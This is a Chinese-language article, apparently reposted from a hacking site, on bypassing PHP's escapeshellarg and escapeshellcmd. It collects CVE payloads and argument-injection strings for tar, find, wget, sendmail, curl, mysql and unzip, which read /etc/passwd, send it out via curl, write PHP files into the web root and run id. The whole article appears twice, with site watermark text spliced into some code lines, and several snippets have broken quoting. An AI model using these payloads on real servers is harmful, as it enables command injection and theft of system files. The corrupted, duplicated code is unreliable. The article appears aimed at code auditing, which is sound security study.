PHP-escapeshell-命令执行
最近审计PHP时,频繁出现的escapeshellarg与escapeshellcmd成功勾起了我的性致 兴趣,深入了解后发现确实漏洞百出
Know it then do it
escapeshellarg
string escapeshellarg ( string $arg )
转义字符串$arg中的单引号并使用单引号包裹此部分
使得$arg只能传递一个参数,且不能执行不同的命令
escapeshellcmd
string escapeshellcmd ( string $command )
转义& # ; ` | * ? ~ ^ ( ) [ ] { } $ 、x0A和xF,'和"仅在落单时被转义
使得$command只能执行一个命令,但可以传递多个参数
举个栗子
$arg->172.17.0.2' -v -d a=1
->escapeshellarg->'172.17.0.2''' -v -d a=1'
->escapeshellcmd->'172.17.0.2'\'' -v -d a=1'
->172.17.0.2 -v -d a=1'
历史漏洞
Windows下PHPCVE-2004-0542
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
//or
$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
PHP4CVE-2008-2051
//需要有可变宽度字符集的shell环境(例如GBK、EUC-KR、SJIS)
$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));
//or
$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
Windows下PHP5.4.42以下, 5.5.26以下的5.5.x, 5.6.10以下的5.6.x-CVE-2015-4642
//向函数传递额外的`(--param3)`
$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
PHP7.0.2以下的7.x-CVE-2016-1904
如果向escapeshellarg或escapeshellarg传递1024兆个字节,则可能会触发堆溢出
Windows下5.4.43以下的5.4.x, 5.5.27以下的5.5.x, 5.6.11以下的5.6.x-Bugs
//EnableDelayedExpansion`为`enabled`时,`!STH!`的特性类似于`%STH%`,而`escapeshellarg`并未处理`!`
//可以在HKLM或HKCU下的注册表中设置EnableDelayedExpansion
[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)
// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);
PHP5.6.18以下-Bugs
//`ext/standard/exec.c`中
echo escapeshellarg("helloworld");
=>
hello
参数注入
由上文可以看出,当存在escapeshellarg或escapeshellcmd时均不可能执行第二个命令,但仍能传递多个参数给escapeshellcmd,漏洞可造成的危害取决于当前程序所拥有的功能
tar
将some_file压缩至/tmp/sth
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
创建/tmp/exploit空文件
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));
find
在/tmp目录下查找some_file
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
输出/etc/passwd的内容
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
wget
下载example.php
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
保存.php文件至指定目录
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
sendmail
将发件人地址设置为from@sth.com并发送mail.txt
$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' );
输出/etc/passwd的内容
$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' );
curl
获取http://example.com的内容
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));
将/etc/passwd发送到http://example.com
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
mysql
执行SQL语句
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
执行id命令
$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
unzip
从archive.zip中解压所有.tmp文件至/tmp目录
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
从archive.zip中解压所有.tmp文件至/var/www/html目录
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
最近审计PHP时,频繁出现的escapeshellarg与escapeshellcmd成功勾起了我的性致 兴趣,深入了解后发现确实漏洞百出
Know it then do it
escapeshellarg
string escapeshellarg ( string $arg )
转义字符串$arg中的单引号并使用单引号包裹此部分
使得$arg只能传递一个参数,且不能执行不同的命令
escapeshellcmd
string escapeshellcmd ( string $command )
转义& # ; ` | * ? ~ ^ ( ) [ ] { } $ 、x0A和xF,'和"仅在落单时被转义
使得$command只能执行一个命令,但可以传递多个参数
举个栗子
$arg->172.17.0.2' -v -d a=1
->escapeshellarg->'172.17.0.2''' -v -d a=1'
->escapeshellcmd->'172.17.0.2'\'' -v -d a=1'
->172.17.0.2 -v -d a=1'
历史漏洞
Windows下PHPCVE-2004-0542
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
//or
$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
PHP4CVE-2008-2051
//需要有可变宽度字符集的shell环境(例如GBK、EUC-KR、SJIS)
$text = "sth";
system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id";
system(escapeshellcmd("echo ".$text));
//or
$text1 = 'word';
$text2 = 'word2';
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #";
system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
Windows下PHP5.4.42以下, 5.5.26以下的5.5.x, 5.6.10以下的5.6.x-CVE-2015-4642
//向函数传递额外的`(--param3)`
$a = 'param1_value';
$b = 'param2_value';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\';
$b = 'b -c --param3\'; 本文来自无奈人生安全网
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
PHP7.0.2以下的7.x-CVE-2016-1904
如果向escapeshellarg或escapeshellarg传递1024兆个字节,则可能会触发堆溢出
Windows下5.4.43以下的5.4.x, 5.5.27以下的5.5.x, 5.6.11以下的5.6.x-Bugs
//EnableDelayedExpansion`为`enabled`时,`!STH!`的特性类似于`%STH%`,而`escapeshellarg`并未处理`!`
//可以在HKLM或HKCU下的注册表中设置EnableDelayedExpansion
[HKEY_CURRENT_USERSoftwareMicrosoftCommand Processor]
"DelayedExpansion"= (REG_DWORD)
1=enabled 0=disabled (default)
// Leak appdata dir value
$text = '!APPDATA!';
print "echo ".escapeshellarg($text);
PHP5.6.18以下-Bugs
//`ext/standard/exec.c`中
echo escapeshellarg("helloworld");
=>
hello
参数注入
由上文可以看出,当存在escapeshellarg或escapeshellcmd时均不可能执行第二个命令,但仍能传递多个参数给escapeshellcmd,漏洞可造成的危害取决于当前程序所拥有的功能
tar
将some_file压缩至/tmp/sth
无奈人生安全网
$command = '-cf /tmp/sth /some_file';
system(escapeshellcmd('tar '.$command));
创建/tmp/exploit空文件
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd";
system(escapeshellcmd('tar '.$command));
find
在/tmp目录下查找some_file
$file = "some_file";
system("find /tmp -iname ".escapeshellcmd($file));
输出/etc/passwd的内容
$file = "sth -or -exec cat /etc/passwd ; -quit";
system("find /tmp -iname ".escapeshellcmd($file));
wget
下载example.php
$url = 'http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
保存.php文件至指定目录
$url = '--directory-prefix=/var/www/html http://example.com/example.php';
system(escapeshellcmd('wget '.$url));
sendmail
将发件人地址设置为from@sth.com并发送mail.txt
$from = 'from@sth.com';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' );
输出/etc/passwd的内容 无奈人生安全网
$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt';
system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' );
curl
获取http://example.com的内容
$url = 'http://example.com';
system(escapeshellcmd('curl '.$url));
将/etc/passwd发送到http://example.com
$url = '-F password=@/etc/passwd http://example.com';
system(escapeshellcmd('curl '.$url));
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
mysql
执行SQL语句
$sql = 'SELECT sth FROM table';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
执行id命令
$sql = '! id';
system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
unzip
从archive.zip中解压所有.tmp文件至/tmp目录
$zip_name = 'archive.zip';
system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
从archive.zip中解压所有.tmp文件至/var/www/html目录
$zip_name = '-d /var/www/html archive.zip';
system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
www.wnhack.com
copyright 无奈人生